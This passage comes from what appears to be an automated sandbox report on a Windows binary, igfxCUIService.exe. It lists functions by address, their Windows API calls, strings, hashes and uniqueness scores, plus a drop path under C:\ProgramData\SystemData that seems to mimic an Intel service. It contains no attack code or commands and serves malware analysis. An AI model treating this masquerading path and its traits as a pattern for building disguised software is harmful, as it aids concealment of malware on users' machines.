Opcode Fuzzy Hash: 1f476168361ac1cdd28f085445439a418272701d3a22ce57f6319e6616949949
Instruction Fuzzy Hash: 3651F471A00304AFDB20DF69CC41BAA77F5EF46324F194669E849D7290E731DA40CBB0

Uniqueness

Uniqueness Score: 0.02%

Function 00D35EC7, Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00D35F10
__alloca_probe_16.LIBCMT ref: 00D35F3C
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00D35F7B
__alloca_probe_16.LIBCMT ref: 00D35FEF
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00D36050

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16
String ID:
API String ID: 2135360126-0
Opcode ID: 8c45d8b35a63243a6f2c01e316753917fb855fb478579cb4cff563b7a388b0cc
Instruction ID: a701585f66e5109cc3a1642b922dbd8b2cc3ae7bf5fe76a5368444130e750100
Opcode Fuzzy Hash: 8c45d8b35a63243a6f2c01e316753917fb855fb478579cb4cff563b7a388b0cc
Instruction Fuzzy Hash: 1151BD7290021ABBDF259F64DC42EAF7BA9EF40750F198129FD14A6154EB75CD20CBB0

Uniqueness

Uniqueness Score: 10.55%

Function 00D2A760, Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D2A78D
std::_Lockit::_Lockit.LIBCPMT ref: 00D2A7AD
std::_Lockit::~_Lockit.LIBCPMT ref: 00D2A7CD
std::_Facet_Register.LIBCPMT ref: 00D2A86B
std::_Lockit::~_Lockit.LIBCPMT ref: 00D2A883

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 5ffc2a86b66550b077780a16be13100cfd55c70e09e47bd8608bc0210a5db057
Instruction ID: 2853c38a63b652d5f08bef33e2777828370aa8732392b588fe4e3503769bdfd3
Opcode Fuzzy Hash: 5ffc2a86b66550b077780a16be13100cfd55c70e09e47bd8608bc0210a5db057
Instruction Fuzzy Hash: 58419171900224DFCB18DF58E881BAABBB4EF14714F14416DE805AB391EB71AD46CBF2

Uniqueness

Uniqueness Score: 0.53%

Function 00D4CFBA, Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D4CFD2

Part of subcall function 00D468D3: HeapFree.KERNEL32(00000000,00000000,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?), ref: 00D468E9
Part of subcall function 00D468D3: GetLastError.KERNEL32(?,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?,?), ref: 00D468FB

_free.LIBCMT ref: 00D4CFE4
_free.LIBCMT ref: 00D4CFF6
_free.LIBCMT ref: 00D4D008
_free.LIBCMT ref: 00D4D01A

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5d4f3e9301c546caaf194652081b34b1a1f8b7b72de5fa4f77ed3607f5b6b78b
Instruction ID: f9acaef22bff10adbf7dcf823087888bd9f6e4e8a256d2d6bafa7f275a87189d
Opcode Fuzzy Hash: 5d4f3e9301c546caaf194652081b34b1a1f8b7b72de5fa4f77ed3607f5b6b78b
Instruction Fuzzy Hash: DBF03632505760A78620EB94F481C1B73DBEF037107580915F016D7A81CB7CFC8087B5

Uniqueness

Uniqueness Score: 0.02%

Function 00D1A230, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190UNIQUE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00D1A484

Strings

<, xrefs: 00D1A286
?, xrefs: 00D1A290
mxyz, xrefs: 00D1A2C0

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID: <$?$mxyz
API String ID: 118556049-2422011075
Opcode ID: 31f141627b44d42c5ffdefe9f82d67f390b46307052a94e8336927df0208a35e
Instruction ID: 0986d7296f5d19611ec23d242820d67738cf0e11a2e69841eab2450782752d62
Opcode Fuzzy Hash: 31f141627b44d42c5ffdefe9f82d67f390b46307052a94e8336927df0208a35e
Instruction Fuzzy Hash: 33610671D00248DBDB14DFA8D8447EEBBB4EF44314F14462DE415AB382DBB59A85C7B1

Uniqueness

Uniqueness Score: 100.00%

Function 00D13420, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 181UNIQUE

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00D1362E
___std_exception_destroy.LIBVCRUNTIME ref: 00D1363D

Strings

at line , xrefs: 00D13479
, column , xrefs: 00D134BC

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ___std_exception_destroy
String ID: at line $, column
API String ID: 4194217158-191570568
Opcode ID: 91afcd7988a1aa4e63a59d2ecd8e60437bcdcec2777d904bdfe22156c7e0f392
Instruction ID: 361995ee5ae7e9cbe3723aa229c68eb4ba5131f1fcbaf95b3734a78fab4071b6
Opcode Fuzzy Hash: 91afcd7988a1aa4e63a59d2ecd8e60437bcdcec2777d904bdfe22156c7e0f392
Instruction Fuzzy Hash: F451E3719002489FEB18CFA8DD45B9DFBB6EF85704F10865CE404A7392DB75DA848B70

Uniqueness

Uniqueness Score: 100.00%

Function 00D42C71, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121UNIQUE

Download Yara Rule

Strings

C:\ProgramData\SystemData\igfxCUIService.exe, xrefs: 00D42CAF, 00D42CB6, 00D42CEA

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID:
String ID: C:\ProgramData\SystemData\igfxCUIService.exe
API String ID: 0-411192752
Opcode ID: 194277f492c5781ddead5926f55dd97a1d6d0857bcfeec2107c90b15e88bccd9
Instruction ID: 6d0c8b32ce6500b51f6069d1b3179ddb5e427b809e3fd82335e9e8a0bb2f687f
Opcode Fuzzy Hash: 194277f492c5781ddead5926f55dd97a1d6d0857bcfeec2107c90b15e88bccd9
Instruction Fuzzy Hash: BD317071E00714ABCB21DF99D885AAEBBB8EF89310B94406AF405E7251D7B09E44CBB0

Uniqueness

Uniqueness Score: 100.00%

Function 00D12BD0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00D12C5F

Part of subcall function 00D3731A: RaiseException.KERNEL32(E06D7363,00000001,00000003,00D121DC,?,?,?,00D121DC,?,00D6D414), ref: 00D3737A

Strings

ios_base::eofbit set, xrefs: 00D12C14
ios_base::badbit set, xrefs: 00D12C05
ios_base::failbit set, xrefs: 00D12C0F

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: a42b554ce43014957190152456c2c16ee1411f528fc9041e20209179efaf4edc
Instruction ID: afea3b00a7c3ac831a32b897bb7819733d9ad602b6a35e48d105b9395163c4c3
Opcode Fuzzy Hash: a42b554ce43014957190152456c2c16ee1411f528fc9041e20209179efaf4edc
Instruction Fuzzy Hash: AD1103B15047046BC710DF58D842BA6B3E8EF51310F148A2AF9548BA41EB71E9A4CBB5

Uniqueness

Uniqueness Score: 7.75%

Function 00D4727B, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D47302

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 30215aa7633be5a151444ef3af0f45258a63018f10652b0b38a6e06bf638477f
Instruction ID: b5761b1db5ec977d2eb8ca3a90d9083849ef0e4332de96a9749aea9d2577004a
Opcode Fuzzy Hash: 30215aa7633be5a151444ef3af0f45258a63018f10652b0b38a6e06bf638477f
Instruction Fuzzy Hash: A7B104729082969FDF11CF68C881BBEBBE5EF55350F2981AAE8959B241D734CD01CB70

Uniqueness

Uniqueness Score: 0.57%

Function 00D38FD1, Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D39098
___AdjustPointer.LIBCMT ref: 00D390BB
___AdjustPointer.LIBCMT ref: 00D39157

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3bc2d7bf8cb0310a7c803761b8c0ffa9d1a9e161ab6a3a1f88319d1d8fc0d36d
Instruction ID: 763ab4f2c6cb3576bdfb3344aff1c783f2c1c4ed2fc70a8cc9d9b317fff9201d
Opcode Fuzzy Hash: 3bc2d7bf8cb0310a7c803761b8c0ffa9d1a9e161ab6a3a1f88319d1d8fc0d36d
Instruction Fuzzy Hash: BC51F5B2A047069FDB298F14D865B7AF7A4EF40710F18452DEC4657291E7B2ED40D7B0

Uniqueness

Uniqueness Score: 1.18%

Function 00D26D40, Relevance: 6.1, APIs: 4, Instructions: 144COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000004,?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00D26E01
GetLastError.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00D26E15
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00D26E31
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00D26E59

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 25e7db7a68214417408d02f55875310b9584bd32e1e4a5a968e79d83735c5815
Instruction ID: 701a2b88894c3eff55344f6b14d29c0d6a7d39236454bcf80f50b1bc77dcd987
Opcode Fuzzy Hash: 25e7db7a68214417408d02f55875310b9584bd32e1e4a5a968e79d83735c5815
Instruction Fuzzy Hash: EE41D476B40325FBDB205FA8FC41BAABB65EF24715F244129FE05E6180EB71E91087B1

Uniqueness

Uniqueness Score: 0.07%

Function 00D558AE, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D5597E
_free.LIBCMT ref: 00D559A7
SetEndOfFile.KERNEL32(00000000,00D53F56,00000000,00D48E9C,?,?,?,?,?,?,?,00D53F56,00D48E9C,00000000), ref: 00D559D9
GetLastError.KERNEL32(?,?,?,?,?,?,?,00D53F56,00D48E9C,00000000,?,?,?,?,00000000), ref: 00D559F5

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 6e0c7b07462ccbc369282568cd5afad4d60b5c2eb5bdb86f661fa043acfbdf38
Instruction ID: c4304d2586fcbc0e587b71bf6009862a35e12e91f0abd12b413c30aa24a0e536
Opcode Fuzzy Hash: 6e0c7b07462ccbc369282568cd5afad4d60b5c2eb5bdb86f661fa043acfbdf38
Instruction Fuzzy Hash: B241B476900A45EBDF12ABA8DC56B9D77A5EF45372F180210FD24EB195EA38CC488F31

Uniqueness

Uniqueness Score: 1.64%

Function 00D46F6D, Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000008,?,00000000,00D4C55A,00D3591B,00D35961,?,00D357A8,00000000), ref: 00D46F72
_free.LIBCMT ref: 00D46FCF
_free.LIBCMT ref: 00D47005
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00D357A8,00000000), ref: 00D47010

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 866d10844e87028f72ebead2e691097158a2ee12b37655b85e1e4dfd3fecffbf
Instruction ID: ddfc000b5f56e508e1b126da68e029b787eec45e7ae12b90f7cb207caf011fcf
Opcode Fuzzy Hash: 866d10844e87028f72ebead2e691097158a2ee12b37655b85e1e4dfd3fecffbf
Instruction Fuzzy Hash: 2A1136322047116FDA11327ABC81D2B26A9CFC3375B290234F622C22D5DE75CC086172

Uniqueness

Uniqueness Score: 0.28%

Function 00D470C4, Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00D4185C,00D46950,?,?,00D348E0,?,?,00D28B4A,?,?,00D11154), ref: 00D470C9
_free.LIBCMT ref: 00D47126
_free.LIBCMT ref: 00D4715C
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00D4185C,00D46950,?,?,00D348E0,?,?,00D28B4A,?), ref: 00D47167

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: fb0e7c61bcce5985b75bceed4d8b4f558b07f81dfe8f5d912bd41a64d4aeadee
Instruction ID: e3c4c3aefe08d0a79c3139c93f7346114d36dbaef86f6b90e5dc68ca4ae4fe67
Opcode Fuzzy Hash: fb0e7c61bcce5985b75bceed4d8b4f558b07f81dfe8f5d912bd41a64d4aeadee
Instruction Fuzzy Hash: 6F1108326083116BEA20377A9C85D2B63AADBC37B5B290234F525D22E1DFB5CC05A172

Uniqueness

Uniqueness Score: 0.28%

Function 00D557A2, Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00D5329D,00000000,00000001,00000000,00000000,?,00D48407,?,00D41707,00000000), ref: 00D557B9
GetLastError.KERNEL32(?,00D5329D,00000000,00000001,00000000,00000000,?,00D48407,?,00D41707,00000000,?,00000000,?,00D4895B,?), ref: 00D557C5

Part of subcall function 00D5578B: CloseHandle.KERNEL32(FFFFFFFE,00D557D5,?,00D5329D,00000000,00000001,00000000,00000000,?,00D48407,?,00D41707,00000000,?,00000000), ref: 00D5579B

___initconout.LIBCMT ref: 00D557D5

Part of subcall function 00D5574D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00D5577C,00D5328A,00000000,?,00D48407,?,00D41707,00000000,?), ref: 00D55760

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,00D5329D,00000000,00000001,00000000,00000000,?,00D48407,?,00D41707,00000000,?), ref: 00D557EA

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a5e0be221eec9a9cd54e7fc6ffed430bbd67e1eead13a061f9e53cd9558bb470
Instruction ID: 941f78a3551d6be6c0a9c16440f44e57b36d5d9b45b9a85275ef3136451e1315
Opcode Fuzzy Hash: a5e0be221eec9a9cd54e7fc6ffed430bbd67e1eead13a061f9e53cd9558bb470
Instruction Fuzzy Hash: 18F01C3A401724FBCF621FD9EC0998A3F66EF093A2B044510FF19D6234D6328820DBB1

Uniqueness

Uniqueness Score: 0.24%

Function 00D3467D, Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00D3461A,00000064), ref: 00D346A0
LeaveCriticalSection.KERNEL32(00D6F1D8,?,?,00D3461A,00000064,?,00D7013C,?,00D14124,00D701A8,00D7013C,00D1834F,F0B87680,0000000F,?,00000000), ref: 00D346AA
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00D3461A,00000064,?,00D7013C,?,00D14124,00D701A8,00D7013C,00D1834F,F0B87680,0000000F,?,00000000), ref: 00D346BB
EnterCriticalSection.KERNEL32(00D6F1D8,?,00D3461A,00000064,?,00D7013C,?,00D14124,00D701A8,00D7013C,00D1834F,F0B87680,0000000F,?,00000000), ref: 00D346C2

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 2de3991e41cb3c942c1f87f3ef68736ca8127e94ec893954e2b4fa44cbcfc710
Instruction ID: c15cb974c29ec268ed2727c8c1ce22c0ba0e433c50a1bc421a0839b7d6c65478
Opcode Fuzzy Hash: 2de3991e41cb3c942c1f87f3ef68736ca8127e94ec893954e2b4fa44cbcfc710
Instruction Fuzzy Hash: D8E01232941B34EFC7111F58FC0998D7E28AB077A3F015120FD05A63A4C66958049BF5

Uniqueness

Uniqueness Score: 3.32%

Function 00D43760, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D43769

Part of subcall function 00D468D3: HeapFree.KERNEL32(00000000,00000000,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?), ref: 00D468E9
Part of subcall function 00D468D3: GetLastError.KERNEL32(?,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?,?), ref: 00D468FB

_free.LIBCMT ref: 00D4377C
_free.LIBCMT ref: 00D4378D
_free.LIBCMT ref: 00D4379E

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3a4cedb15849ef4e410ca0b035de471779e0f104c68ff209f1bf718ec41086ce
Instruction ID: c2c5d3cca2356c7bf637e9741bcc08d775cb4a55a7bd26393946efb38124c5ab
Opcode Fuzzy Hash: 3a4cedb15849ef4e410ca0b035de471779e0f104c68ff209f1bf718ec41086ce
Instruction Fuzzy Hash: 87E09971820BA09B86026F54BC0184A3F22EB5B7103051226F40196BB3CBFA4A5A9BB2

Uniqueness

Uniqueness Score: 0.02%

Function 00D13040, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 273UNIQUE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00D133AA

Strings

parse error, xrefs: 00D130ED
ror, xrefs: 00D1308F

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: parse error$ror
API String ID: 2659868963-4201802366
Opcode ID: 3fb0a6f96070405df3c0d1db9675f4ab7237da60610466f3fb4796efc5e2ffb9
Instruction ID: 830a4b53a1e08b202717b619b317508c1eaea4630e1de5197efd158fb9f16fb3
Opcode Fuzzy Hash: 3fb0a6f96070405df3c0d1db9675f4ab7237da60610466f3fb4796efc5e2ffb9
Instruction Fuzzy Hash: 36B190719002589FEB19CF68DC45B9DFBB2EF85304F108298E418AB396DB759AC4CB71

Uniqueness

Uniqueness Score: 100.00%

Function 00D31730, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 259UNIQUE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00D31800

Strings

cannot get value, xrefs: 00D319D3

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID: cannot get value
API String ID: 118556049-2333289761
Opcode ID: b3134a63dec23285748293be9368f15d5a7d846457bff7898077ad03b71b8898
Instruction ID: 3c4ee9075d153628dd4253641fa48781274fbfef5cda9749177f6495f685689d
Opcode Fuzzy Hash: b3134a63dec23285748293be9368f15d5a7d846457bff7898077ad03b71b8898
Instruction Fuzzy Hash: 03919E7990021A9FCB14DF98D490AAEFBB4FF58310F188199E855AB346D730AD05CFB0

Uniqueness

Uniqueness Score: 100.00%

Function 00D12D50, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 255UNIQUE

Download Yara Rule

Strings

[json.exception., xrefs: 00D12E3E

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

